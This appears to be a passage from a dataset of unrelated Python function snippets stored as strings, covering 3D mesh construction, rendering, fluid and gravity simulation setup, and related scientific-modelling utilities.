Load the point, cell and data attributes\n for i in range(len(V)):\n points.InsertPoint(i, V[i])\n for i in range(len(F)):\n polys.InsertNextCell(self.mkVtkIdList(F[i]))\n for i in range(len(V)):\n scalars.InsertTuple1(i, i)\n \n # Assign the pieces to the vtkPolyData.\n sat.SetPoints(points)\n del points\n sat.SetPolys(polys)\n del polys\n sat.GetPointData().SetScalars(scalars)\n del scalars\n\n # Mapper\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(sat)\n mapper.ScalarVisibilityOff()\n\n # Actor\n actor = vtk.vtkActor()\n actor.SetMapper(mapper)\n actor.GetProperty().SetColor(0.5, 0.5, 0.5)\n actor.GetProperty().SetAmbient(0.5)\n actor.GetProperty().SetSpecular(1.0)\n actor.GetProperty().SetSpecularPower(5.0)\n actor.GetProperty().SetDiffuse(0.2)\n\n # Move to sat position\n actor.SetPosition(0, 0, -self.SAT_PROPS[\"Alt\"])\n\n return actor","def build(tile):\n rtn = bmesh.new()\n if tile.terrain_type() in Terrain.floor_terrains:\n rtn = BmeshFactory.build_floor(tile)\n elif tile.terrain_type() in Terrain.empty_terrains:\n BmeshFactory.add_floor_corners(rtn, tile)\n elif tile.terrain_type() == TerrainType.WALL:\n BmeshFactory.build_wall(tile, rtn)\n elif tile.terrain_type() == TerrainType.FORTIFICATION:\n rtn = BmeshFactory.build_fortification(tile)\n elif tile.terrain_type() == TerrainType.STAIR_DOWN or tile.terrain_type() == TerrainType.STAIR_UPDOWN:\n rtn = BmeshFactory.build_stair(tile)\n elif tile.terrain_type() == TerrainType.RAMP:\n rtn = BmeshFactory.build_ramp(tile)\n elif tile.terrain_type() == TerrainType.BROOK_BED:\n rtn = BmeshFactory.build_brook(tile)\n\n BmeshFactory.build_ceiling(rtn, tile)\n\n bmesh.ops.remove_doubles(rtn, verts=rtn.verts, dist=0.0001)\n bmesh.ops.dissolve_limit(rtn, angle_limit=math.pi/90, use_dissolve_boundaries=False,\n verts=rtn.verts, edges=rtn.edges)\n return rtn","def b_create_base_geometry(b_name):\n b_obj = b_create_cube(b_name)\n return b_obj","def box_mesh_with_hole(point1=Point(0,0,0), point2=Point(2,1,1), cyl_cent1 = Point(1, -10, 0.5), \n cyl_cent2= Point(1, 10, 0.5), cyl_rad=0.25, numpts=15):\n Router = mshr.Box(point1, point2)\n Rinner = mshr.Cylinder(cyl_cent1, cyl_cent2, cyl_rad, cyl_rad)\n domain = Router - Rinner\n\n mesh = mshr.generate_mesh(domain, numpts)\n print_mesh_stats(mesh)\n \n return mesh","def comp_add_wireframe_freestyle(self):\n scene = self.set_as_active()\n scene.use_nodes = True\n tree = scene.node_tree\n tree.nodes.clear()\n\n # creating the nodes\n node_alphaover = tree.nodes.new('CompositorNodeAlphaOver')\n node_alphaover.location = -25, 50\n\n node_rlwire = tree.nodes.new('CompositorNodeRLayers')\n node_rlwire.location = -400, 250\n node_rlwire.scene = scene\n node_rlwire.layer = w_var.rlname\n\n node_rlclay = tree.nodes.new('CompositorNodeRLayers')\n node_rlclay.location = -400, -75\n node_rlclay.scene = scene\n node_rlclay.layer = w_var.rlname_other\n\n node_comp = tree.nodes.new('CompositorNodeComposite')\n node_comp.location = 400, 65\n\n node_viewer = tree.nodes.new('CompositorNodeViewer')\n node_viewer.location = 400, -125\n\n # connecting the nodes\n links = tree.links\n links.new(node_rlwire.outputs[0], node_alphaover.inputs[1])\n links.new(node_rlclay.outputs[0], node_alphaover.inputs[2])\n\n if w_var.cb_ao:\n node_mixcolor_wire = tree.nodes.new('CompositorNodeMixRGB')\n node_mixcolor_wire.location = -125, 150\n node_mixcolor_wire.blend_type = 'MULTIPLY'\n node_mixcolor_wire.inputs[0].default_value = 0.730\n\n node_mixcolor_clay = tree.nodes.new('CompositorNodeMixRGB')\n node_mixcolor_clay.location = -125, -100\n node_mixcolor_clay.blend_type = 'MULTIPLY'\n node_mixcolor_clay.inputs[0].default_value = 0.730\n\n node_alphaover.location = 125, 75\n\n links.new(node_rlwire.outputs[0], node_mixcolor_wire.inputs[1])\n links.new(node_rlwire.outputs[10], node_mixcolor_wire.inputs[2])\n\n links.new(node_rlclay.outputs[0], node_mixcolor_clay.inputs[1])\n links.new(node_rlclay.outputs[10], node_mixcolor_clay.inputs[2])\n\n links.new(node_mixcolor_wire.outputs[0], node_alphaover.inputs[1])\n links.new(node_mixcolor_clay.outputs[0], node_alphaover.inputs[2])\n\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\n\n else:\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\n\n for node in tree.nodes:\n node.select = False","def __init__(self, shape_num):\n self.shape_num = shape_num\n if shape_num == 1:\n self.width = 4\n self.height = 4\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[0][2] = 1\n self.grid[1][2] = 1\n self.grid[2][2] = 1\n self.grid[3][2] = 1\n self.color = Color.SilverPink\n elif shape_num == 2:\n self.width = 3\n self.height = 3\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[0][1] = 1\n self.grid[0][2] = 1\n self.grid[1][2] = 1\n self.grid[2][2] = 1\n self.color = Color.TuftsBlue\n elif shape_num == 3:\n self.width = 3\n self.height = 3\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[2][1] = 1\n self.grid[0][2] = 1\n self.grid[1][2] = 1\n self.grid[2][2] = 1\n self.color = Color.ChromeYellow\n elif shape_num == 4:\n self.width = 2\n self.height = 2\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[0][0] = 1\n self.grid[0][1] = 1\n self.grid[1][0] = 1\n self.grid[1][1] = 1\n self.color = Color.Independence\n elif shape_num == 5:\n self.width = 3\n self.height = 3\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[1][0] = 1\n self.grid[2][0] = 1\n self.grid[0][1] = 1\n self.grid[1][1] = 1\n self.color = Color.ForestGreen\n elif shape_num == 6:\n self.width = 3\n self.height = 3\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[1][1] = 1\n self.grid[0][2] = 1\n self.grid[1][2] = 1\n self.grid[2][2] = 1\n self.color = Color.Byzantine\n elif shape_num == 7:\n self.width = 3\n self.height = 3\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\n self.grid[0][0] = 1\n self.grid[1][0] = 1\n self.grid[1][1] = 1\n self.grid[2][1] = 1\n self.color = Color.Coquelicot\n self.top_space = self.get_top_space()\n self.bottom_space = self.get_bottom_space()\n self.x = int((12 - self.width) / 2)\n self.y = 1 - self.top_space\n self.last_drop_time = perf_counter()","def __init__(self,magneticFieldx,magneticFieldy,nParts,length,gamma,beta, name = \"GeneralDipoleNoStripSeperateField no name\"):\n\t\tBaseTEAPOT.__init__(self, name)\n\t\tself.setType(\"parent stripper dipole no strip teapot\")\n\t\t\n\t\tself.magneticFieldx=magneticFieldx\n\t\tself.magneticFieldy=magneticFieldy\n\t\tself.nParts=nParts\n\t\tself.length=length\n\t\tself.setLength(self.length)\n\t\tself.gamma=gamma\n\t\tself.beta=beta\n\t\t\t\n\t\tself.functionXPRigidity=None\n\t\tself.functionXRigidity=None\n\t\t\n\t\tself.functionYPRigidity=None\n\t\tself.functionYRigidity=None\n\t\t\n\t\tself.strippingTracking=None\n\t\t\n\t\tself.chicaneFieldx=0.\n\t\tself.chicaneFieldy=0.\t\n\t\t\n\t\tself.computeFunctions()","def build(self, name=None):\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)","def __init__(self, name, a=115, b=111, c=19, mu=10**7, omegavec=[0, 0, 1],\r\n rho=0.5, szscale=2, n=0):\r\n assert(len(omegavec) == 3)\r\n assert(szscale >= 1)\r\n assert(n >= 0)\r\n\r\n # set the name\r\n self.name = name\r\n\r\n # set the rotation axis\r\n self.omegavec = omegavec\r\n\r\n # set the principal axes\r\n self.a = a\r\n self.b = b\r\n self.c = c\r\n\r\n # set the size scale\r\n self.szscale = szscale\r\n\r\n # convert the axes from meters to cm\r\n a *= 100\r\n b *= 100\r\n c *= 100\r\n\r\n # set the maximum allowed size\r\n self.sizecut = szscale*np.max([a, b, c])/2\r\n\r\n # set viscosity, create a Constant to avoid slowdowns\r\n self.mu = Constant(mu)\r\n\r\n # initialize the time, and the number of cycles\r\n self.t = 0\r\n self.ind = 0\r\n\r\n # set dt to 1 temporarily, for use in the solvers\r\n self.dt = Constant(1)\r\n\r\n # set density, create a Constant to avoid slowdowns\r\n self.rho = Constant(rho)\r\n\r\n # set the inital time, for logging\r\n self.start_time = time.time()\r\n\r\n # read in mesh, with n refinements\r\n with pkg_resources.path('SAMUS.meshes', '3ball%s.xml' % (n)) as p:\r\n mesh_path = p\r\n self.mesh = Mesh(str(mesh_path))\r\n\r\n # rescale the mesh to the input ellipsoids\r\n self.mesh.coordinates()[:, 0] *= a/2\r\n self.mesh.coordinates()[:, 1] *= b/2\r\n self.mesh.coordinates()[:, 2] *= c/2\r\n\r\n # use Elements to make a mixed function space\r\n V = VectorElement(\"CG\", self.mesh.ufl_cell(), 2)\r\n Q = FiniteElement(\"CG\", self.mesh.ufl_cell(), 1)\r\n self.Z = FunctionSpace(self.mesh, V*Q)\r\n\r\n # create actual function spaces which compose the mixed\r\n self.V = VectorFunctionSpace(self.mesh, \"CG\", 2)\r\n self.Q = FunctionSpace(self.mesh, \"CG\", 1)\r\n\r\n # create solution functions from the mixed space\r\n self.up = Function(self.Z) # solution function\r\n self.u_p_ = Function(self.Z) # function for previous solutions\r\n\r\n # get trial and test functions from the mixed space\r\n dup = TrialFunction(self.Z)\r\n v, q = TestFunctions(self.Z)\r\n\r\n # create the function of the rotation vector\r\n self.omega = interpolate(Constant(tuple(omegavec)), self.V)\r\n\r\n # split the solution functions\r\n self.u, self.p = split(self.up)\r\n u_, p_ = split(self.u_p_)\r\n\r\n # set solution functions to 0\r\n self.up.assign(Constant((0, 0, 0, 0)))\r\n self.u_p_.assign(Constant((0, 0, 0, 0)))\r\n\r\n # create the functions for storing the forces\r\n self.ftides = Function(self.V) # tides\r\n self.gravity = Function(self.V) # gravity\r\n self.centrifugal = Function(self.V) # centrifugal\r\n self.coriolis = Function(self.V) # coriolis\r\n self.forcing = Function(self.V) # total forces\r\n\r\n # name the functions for storage\r\n self.ftides.rename(\"Tidal Force\", \"Tidal Force\")\r\n self.gravity.rename(\"Self-Gravity\", \"Gravitational Force\")\r\n self.centrifugal.rename(\"Centrifugal\", \"Centrifugal Force\")\r\n self.coriolis.rename(\"Coriolis\", \"Coriolis Force\")\r\n self.forcing.rename(\"Forcing\", \"Total force on the object\")\r\n\r\n # create a constant to ensure solution stability\r\n A = Constant(1e4/max(mu, 1e4))\r\n\r\n # create the solution for the Navier-Stokes equations\r\n F = (\r\n # acceleration term\r\n A*self.rho*inner(((self.u-u_)/(self.dt)), v) * dx +\r\n\r\n # viscosity term\r\n A*self.mu*inner(grad(self.u), grad(v)) * dx +\r\n\r\n # advection term\r\n A*self.rho*inner(dot(self.u, nabla_grad(self.u)), v) * dx -\r\n\r\n # pressure term\r\n A*self.p*div(v) * dx +\r\n\r\n # mass continuity equation\r\n q*div(self.u) * dx -\r\n\r\n # force term\r\n A*inner(self.forcing, v) * dx)\r\n\r\n # find the derivative, for speed\r\n J = derivative(F, self.up, dup)\r\n\r\n # set up the Navier-Stokes solver\r\n problem = NonlinearVariationalProblem(F, self.up, J=J)\r\n self.solver = NonlinearVariationalSolver(problem)\r\n self.solver.parameters['newton_solver']['relaxation_parameter'] = 1.\r\n\r\n # split solution functions for access (weird FEniCS quirk)\r\n self.u, self.p = self.up.split()\r\n u_, p_ = self.u_p_.split()\r\n\r\n # name the solution functions\r\n self.u.rename(\"Velocity\", \"Velocity\")\r\n self.p.rename(\"Pressure\", \"Pressure\")\r\n\r\n # COMPUTE FUNCTIONS FOR GRAVITY SOLUTIONS\r\n self.G = Constant(6.674e-8) # sets gravitational constant, in cgs\r\n\r\n # get solution, trial, and test functions\r\n self.gravgs = Function(self.Z)\r\n dgs = TrialFunction(self.Z)\r\n gravh, gravc = TestFunctions(self.Z)\r\n gravg, gravs = split(self.gravgs)\r\n\r\n # set a scale to ensure the stability of the solution. this is undone\r\n # in the solution, but for unknown reasons O(10^-8) is too large for\r\n # the solver to maintain stability\r\n self.gravscale = 1e-3\r\n\r\n # compute the scaling constant for the Gaussian gravity form, which is\r\n # rescaled by self.gravscale. A Constant, for speed\r\n gravA = Constant(4*np.pi*float(self.G)*float(self.rho)*self.gravscale)\r\n\r\n # creates the equation set for Gaussian gravity\r\n gravF = (\r\n # this equation is 0=0, used to mix vector and scalar solutions\r\n gravs*div(gravh) * dx + inner(gravg, gravh) * dx +\r\n # this equation is the Gaussian form, div(g)=-4 pi G rho\r\n gravc*div(gravg) * dx + gravA*gravc * dx)\r\n\r\n # find the derivative, for speed\r\n gravJ = derivative(gravF, self.gravgs, dgs)\r\n\r\n # set up the gravitational solver\r\n gravproblem = NonlinearVariationalProblem(gravF, self.gravgs, J=gravJ)\r\n self.gravsolver = NonlinearVariationalSolver(gravproblem)\r\n self.gravsolver.parameters['newton_solver'\r\n ]['relaxation_parameter'] = 1.","def ZoneBuilder():\n\n # Part 1: Zone Dimensions\n matrix, xaxis, yaxis, zaxis = dimensions()\n\n # Part 2: Assigning Room Existance.\n matrix = existance(matrix, xaxis, yaxis, zaxis)\n \n # Part 3: Creating room walls.\n \n # First, generate walls adjacent to void spaces.\n matrix = enclose_rooms(matrix, xaxis, yaxis, zaxis)\n \n matrix = select_walls(matrix, xaxis, yaxis, zaxis)","def create_jointsmap(uv_coord, size):\r\n\r\n\t# define connections and colors of the bones\r\n\t# print(coords_hw[-1]) # this is center ( the 22nd point)\r\n\tcanvas = np.zeros((size, size, 3))\r\n\tbones = [\r\n\t\t((1, 2), THUMB_COLOR1),\r\n\t\t((2, 3), THUMB_COLOR2),\r\n\t\t((3, 4), THUMB_COLOR3),\r\n\r\n\t\t((5, 6), INDEX_COLOR1),\r\n\t\t((6, 7), INDEX_COLOR2),\r\n\t\t((7, 8), INDEX_COLOR3),\r\n\r\n\t\t((9, 10), MIDDLE_COLOR1),\r\n\t\t((10, 11), MIDDLE_COLOR2),\r\n\t\t((11, 12), MIDDLE_COLOR3),\r\n\r\n\t\t((13, 14), RING_COLOR1),\r\n\t\t((14, 15), RING_COLOR2),\r\n\t\t((15, 16), RING_COLOR3),\r\n\r\n\t\t((17, 18), PINKY_COLOR1),\r\n\t\t((18, 19), PINKY_COLOR2),\r\n\t\t((19, 20), PINKY_COLOR3)]\r\n\tpalm = []\r\n\tfor connection, _ in [((0, 1), []),\r\n\t\t\t\t\t\t ((1, 5), []),\r\n\t\t\t\t\t\t ((5, 9), []),\r\n\t\t\t\t\t\t ((9, 13), []),\r\n\t\t\t\t\t\t ((13, 17), []),\r\n\t\t\t\t\t\t ((17, 0), []), ]:\r\n\t\tcoord1 = uv_coord[connection[0]]\r\n\t\tpalm.append([int(coord1[0]), int(coord1[1])])\r\n\t# palm.append([int((coord1[0]-.5)* W_scale+ W_offset ), int(-(coord1[1]- .5)* H_scale+ H_offset)])\r\n\t# print(palm)\r\n\tcv2.fillConvexPoly(canvas, np.array([palm], dtype=np.int32), PALM_COLOR)\r\n\tfor connection, color in bones:\r\n\t\tcoord1 = uv_coord[connection[0]]\r\n\t\tcoord2 = uv_coord[connection[1]]\r\n\t\tcoords = np.stack([coord1, coord2])\r\n\t\t# 0.5, 0.5 is the center\r\n\t\tx = coords[:, 0]\r\n\t\ty = coords[:, 1]\r\n\t\tmX = x.mean()\r\n\t\tmY = y.mean()\r\n\t\tlength = ((x[0] - x[1]) ** 2 + (y[0] - y[1]) ** 2) ** 0.5\r\n\t\tangle = np.math.degrees(np.math.atan2(y[0] - y[1], x[0] - x[1]))\r\n\t\tpolygon = cv2.ellipse2Poly((int(mX), int(mY)), (int(length / 2), 16), int(angle), 0, 360, 1)\r\n\t\tcv2.fillConvexPoly(canvas, polygon, color)\r\n\treturn canvas","def CreateSurface2DMeshfrom3DMesh(self):\n\n self.__do_memebers_exist__()\n\n p = self.InferPolynomialDegree()\n mm = Mesh()\n if self.element_type == \"hex\":\n mm.element_type = \"quad\"\n elif self.element_type == \"tet\":\n mm.element_type = \"tri\"\n else:\n raise ValueError(\"Cannot make a 2D mesh from the 3D mesh of type {}\".format(self.element_type))\n\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\n mm.points = self.points[unique_faces,:]\n mm.nnode = mm.points.shape[0]\n aranger = np.arange(mm.nnode)\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\n mm.nelem = mm.elements.shape[0]\n mm.GetBoundaryEdges()\n\n return mm","def __init__(self, \n mesh,\n target_vertices_transforms,\n sigma=0.5,\n voxel_centers_nn=None,\n surface_samples_nn=None,\n voxel_centers_p2p=None,\n surface_samples_p2p=None,\n unlabeled_points=None,\n sharp_edges=None,\n kernel='gauss_kernel',\n mapping='nn',\n cuda=None,\n device_mode='cpu',\n deg_thr=1e-3,\n ampl_factor=1,\n verbose=1):\n self.cuda = cuda\n self.device_mode = device_mode\n \n if self.device_mode == 'gpu':\n self.device = [self.cuda[0], self.cuda[0], self.cuda[0], self.cuda[0]] if len(self.cuda) == 1 else \\\n [self.cuda[0], self.cuda[1], self.cuda[1], self.cuda[1]]\n if len(self.cuda) == 4:\n self.device = [self.cuda[0], self.cuda[1], self.cuda[2], self.cuda[3]]\n else:\n self.device = ['cpu', 'cpu', 'cpu', 'cpu']\n \n self.mesh = mesh\n self.alpha_0 = 1.0\n self.alpha_reg = 1.0\n self.alpha_data = 1.0\n self.verbose = verbose\n self.deg_thr = deg_thr\n self.ampl_factor = ampl_factor\n \n if verbose == 1:\n print('initializing parts descriptions...')\n self.num_total_vertices = 0\n self.target_vertices = []\n # list of parameters to optimize\n self.segmentation_soft_indicators = []\n self.voxel_centers_nn = voxel_centers_nn\n self.voxel_centers_p2p = voxel_centers_p2p\n self.kernel = kernel\n self.mapping = mapping\n self.surface_samples_nn = surface_samples_nn\n self.surface_samples_p2p = surface_samples_p2p\n self.unlabeled_points = unlabeled_points\n self.precond = None\n self.sharp_edges = sharp_edges\n self.vertices_approximation = None\n\n self.num_total_vertices += len(mesh.vertices)\n\n self.mesh_unique_edges = np.array(mesh.edges_unique)\n self.mesh_unique_faces, _ = np.unique(np.sort(mesh.faces, axis=1), axis=0, return_index=True)\n\n self.torch_vertices = torch.DoubleTensor(mesh.vertices)\n self.torch_unique_edges = torch.IntTensor(self.mesh_unique_edges)\n self.torch_unique_faces = torch.IntTensor(self.mesh_unique_faces)\n self.target_vertices_transforms = target_vertices_transforms.double()\n self.torch_vertices_4d = torch.DoubleTensor(np.hstack([mesh.vertices, np.ones(len(mesh.vertices))[:, None]]))\n\n torch_tmp_vertices = torch.zeros_like(self.torch_vertices_4d).double()\n for j, transform in enumerate(self.target_vertices_transforms):\n torch_tmp_vertices[j] = torch.mv(transform, self.torch_vertices_4d[j]).double()\n self.target_vertices = torch_tmp_vertices\n\n if not mesh.is_watertight:\n raise ValueError('Mesh should be watertight')\n\n if verbose == 1:\n print('computing bitriangles maps...')\n self.bitriangles_map = torch.IntTensor(compute_bitriangles(self.mesh_unique_faces, self.mesh_unique_edges))\n\n if verbose == 1:\n print('computing faces-to-edges maps...')\n # list<np.array>[n_parts, (n_faces, 3)]\n self.faces_to_edges_map = np.unique(np.sort(mesh.faces_unique_edges, axis=1), axis=0)\n \n if verbose == 1:\n print('computing adjacent edges for each face...')\n # list<np.array>[n_parts, (3*n_faces, 2)]\n tmp_adjacent_edges = torch.zeros((len(self.faces_to_edges_map) * 3, 2), dtype=torch.int)\n for j, face in enumerate(self.faces_to_edges_map):\n tmp_adjacent_edges[3*j] = torch.IntTensor([face[0], face[1]])\n tmp_adjacent_edges[3*j+1] = torch.IntTensor([face[0], face[2]])\n tmp_adjacent_edges[3*j+2] = torch.IntTensor([face[1], face[2]])\n self.adjacent_edges = tmp_adjacent_edges.long()\n \n \n (bitriangles_map_updated, \n torch_vertices_4d_updated,\n target_vertices_updated,\n updated_edges,\n n_vertices,\n n_vertices_old,\n n_edges,\n n_edges_old) = remove_degeneracies(self.torch_vertices_4d,\n self.target_vertices,\n self.torch_unique_edges,\n self.bitriangles_map,\n self.deg_thr,\n self.ampl_factor)\n\n self.bitriangles_map_updated = bitriangles_map_updated\n self.torch_vertices_4d_updated = torch_vertices_4d_updated\n self.target_vertices_updated = target_vertices_updated\n self.updated_edges = updated_edges\n self.n_vertices = n_vertices\n self.n_vertices_old = n_vertices_old\n self.n_edges = n_edges\n self.n_edges_old = n_edges_old\n \n if verbose == 1:\n print('computing edges deformations...')\n # list<torch.Tensor>[n_parts, (n_edges, 4, 4)]\n self.target_edges_deformations = edges_deformation_from_vertices(self.torch_vertices_4d_updated,\n self.torch_unique_edges,\n self.target_vertices_updated,\n self.bitriangles_map_updated)\n\n if (self.voxel_centers_nn is not None) or (self.voxel_centers_p2p is not None):\n if verbose == 1:\n print('constructing soft indicators...')\n\n def indicator_factory(a):\n a = torch.Tensor(a).double()\n if self.cuda != None:\n a = a.to(self.device[0])\n\n def aux_function(x):\n kernel_value, count_close_vertices = 0, 0\n if self.kernel == 'ep_kernel':\n if self.mapping == 'p2p':\n distances = torch.sqrt(torch.sum((a[:, None, :] - x[None, ...]) ** 2, dim=2))\n close_points = (distances < sigma).double()\n close_points_count = (distances < 0.02).double()\n count_close_vertices = torch.sum(close_points_count, dim=1)\n filter_count_close_points = (count_close_vertices <= 0).double()[:, None, None]\n kernel_value = torch.sum(filter_count_close_points * close_points[..., None] * (a[:, None, :] - x[None, ...]) ** 2, dim=2)\n elif self.mapping == 'nn':\n kernel_value = torch.sum((a - x) ** 2, dim=1)\n\n if self.mapping != 'p2p':\n return kernel_value\n else:\n return kernel_value, count_close_vertices\n return aux_function\n \n if self.mapping == 'p2p':\n self.segmentation_soft_indicators_p2p = []\n for i in range(len(self.voxel_centers_p2p)):\n if len(self.voxel_centers_p2p[i]) == 0:\n self.segmentation_soft_indicators_p2p += [0]\n else:\n self.segmentation_soft_indicators_p2p += [indicator_factory(self.voxel_centers_p2p[i])]\n else:\n self.segmentation_soft_indicators_nn = indicator_factory(self.voxel_centers_nn)\n \n self.edges_deformations = []\n if verbose == 1:\n print('initialization done')\n \n # timing\n self.deformations_time = 0\n self.cost_time = 0\n self.backward_time = 0","def __init__(self, pl, matrix, materialnodebysymbol):\n super(BoundPolygons, self).__init__(pl, matrix, materialnodebysymbol)","def create_ipk_3dcomponent_pcb(\n self,\n compName,\n setupLinkInfo,\n solutionFreq,\n resolution,\n PCB_CS=\"Global\",\n rad=\"Nothing\",\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n powerin=\"0W\",\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n lowRad, highRad = self.get_radiation_settings(rad)\n hfssLinkInfo = OrderedDict({})\n arg2dict(self.get_link_data(setupLinkInfo), hfssLinkInfo)\n\n native_props = OrderedDict(\n {\n \"NativeComponentDefinitionProvider\": OrderedDict(\n {\n \"Type\": \"PCB\",\n \"Unit\": self.modeler.model_units,\n \"MovePlane\": \"XY\",\n \"Use3DLayoutExtents\": False,\n \"ExtentsType\": extenttype,\n \"OutlinePolygon\": outlinepolygon,\n \"CreateDevices\": False,\n \"CreateTopSolderballs\": False,\n \"CreateBottomSolderballs\": False,\n \"Resolution\": int(resolution),\n \"LowSide\": OrderedDict({\"Radiate\": lowRad}),\n \"HighSide\": OrderedDict({\"Radiate\": highRad}),\n }\n )\n }\n )\n native_props[\"BasicComponentInfo\"] = OrderedDict({\"IconType\": \"PCB\"})\n\n if custom_x_resolution and custom_y_resolution:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = True\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionRow\"] = custom_x_resolution\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionCol\"] = 600\n # compDefinition += [\"UseThermalLink:=\", solutionFreq!=\"\",\n # \"CustomResolution:=\", True, \"CustomResolutionRow:=\", custom_x_resolution,\n # \"CustomResolutionCol:=\", 600]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = False\n # compDefinition += [\"UseThermalLink:=\", solutionFreq != \"\",\n # \"CustomResolution:=\", False]\n if solutionFreq:\n native_props[\"NativeComponentDefinitionProvider\"][\"Frequency\"] = solutionFreq\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Frequency:=\", solutionFreq, hfssLinkInfo]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"Power\"] = powerin\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Power:=\", powerin, hfssLinkInfo]\n\n native_props[\"TargetCS\"] = PCB_CS\n native = NativeComponentObject(self, \"PCB\", compName, native_props)\n if native.create():\n self.modeler.primitives.refresh_all_ids()\n self.materials._load_from_project()\n self.native_components.append(native)\n return native\n return False","def surface_template(self, chain):\n output_name = output_folder + \"/surface_output_\" + str(self.input_pdb_path).split(\"/\")[-1][0:-4] + \"_\" + chain\n output_string = 'mol new ' + self.input_pdb_path + '\\n' \\\n + 'set allsel [atomselect top \"all and chain ' + chain + '\"]' + '\\n' \\\n + 'set chain ' + chain + '\\n' \\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\n + ' 183 LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\n + 'SER 122 ALA 113 GLY 85]' + '\\n' \\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\n' \\\n + 'set surf_list [list]' + '\\n' \\\n + 'foreach r $residlist {' + '\\n' \\\n + 'set sel [atomselect top \"resid $r and chain $chain\"]' + '\\n' \\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\n' \\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\n' \\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\n' \\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\n' \\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\n' \\\n + 'if {$rsasa > 0.2} {lappend surf_list \"$temp_id $temp_name\"}' + '\\n' \\\n + '}' + '\\n' \\\n + 'set fileId [open ' + output_name + ' w]' + '\\n' \\\n + 'puts $fileId $surf_list' + '\\n' \\\n + 'close $fileId' + '\\n' \\\n + 'quit' + '\\n' \\\n + 'exit' + '\\n'\n return output_string","def __init__(self, mesh, V):\n super().__init__(mesh, V)\n self.source = Constant(0)","def build_and_add(self,*args):\n lattice = lattice_class.lattice(*args)\n self.lattices.append()\n self.meshfns.append(['in_memory'])","def build(self):\n\n # Create a custom grid, fe_set \n nfe = 6\n fe_a = 1/4.0\n fe_b = 0.2\n fe_set = [0, 0.004]\n for i in range(1,nfe+1):\n if i < nfe*fe_a:\n fe_set.append(i*fe_b/(nfe*fe_a))\n elif i == nfe: \n fe_set.append(1)\n else:\n fe_set.append(fe_b + (i-nfe*fe_a)*(1-fe_b)/(nfe*(1-fe_a)))\n\n \"\"\"\n Args:\n dae_method = method to use for calcuating derivatives (default = OCLR)\n - BFD1 - 1st order backwards finite difference\n - OCLR - Orthogonal collocation, Lagrange-Radau\n - OCLL - Orthogonal collocation, Lagrange-Legendre\n press_drop = Pressure drop correlation for superficial velocity calc.\n - SimplifiedP - simplified pressure correlations \n - Ergun - Ergun equation\n fe_set = set of normalised finite element locations\n nfe = number of finite elements for bed discretization (default = 15)\n (not used if fe_set specified)\n ncp = number of collocation points (OCLR or OCLL only, default = 3)\n \"\"\" \n\n # Create unit model for fuel reactor\n self.MB_fuel = MB_CLC_fuel.MB(\n parent=self,\n dae_method = 'OCLR',\n press_drop = 'Ergun',\n fe_set = fe_set,\n ncp = 3)","def generate(pts):\n cmds.polyCreateFacet(name=\"shirt\", p=points)\n cmds.polyTriangulate()\n cmds.polySubdivideFacet(dv=SUBDIVISIONS)\n cmds.polyTriangulate()","def to_mesh(self, outfilename, projection=None, z=None):\n if projection is None:\n projection = \"LONG/LAT\"\n\n x = self.xy[:, 0]\n y = self.xy[:, 1]\n if z is None:\n z = np.zeros(self.n)\n codes = np.zeros(self.n, dtype=int)\n codes[y == self.y1] = 5 # north\n codes[x == self.x1] = 4 # east\n codes[y == self.y0] = 3 # south\n codes[x == self.x0] = 2 # west\n codes[(y == self.y1) & (x == self.x0)] = 5 # corner->north\n\n builder = MeshBuilder()\n builder.SetNodes(x, y, z, codes)\n\n elem_table = self._to_element_table(index_base=1)\n builder.SetElements(asnetarray_v2(elem_table))\n\n builder.SetProjection(projection)\n quantity = eumQuantity.Create(EUMType.Bathymetry, EUMUnit.meter)\n builder.SetEumQuantity(quantity)\n newMesh = builder.CreateMesh()\n newMesh.Write(outfilename)","def writeVelocityPlot(self):\n name = \"velocity.vtk\"\n chargeFile = open(name,'w')\n chargeFile.write(\"%s\\n\"%(\"# vtk DataFile Version 2.0\"))\n chargeFile.write(\"%s\\n\"%(\"obtained via hydraulicmodule\"))\n 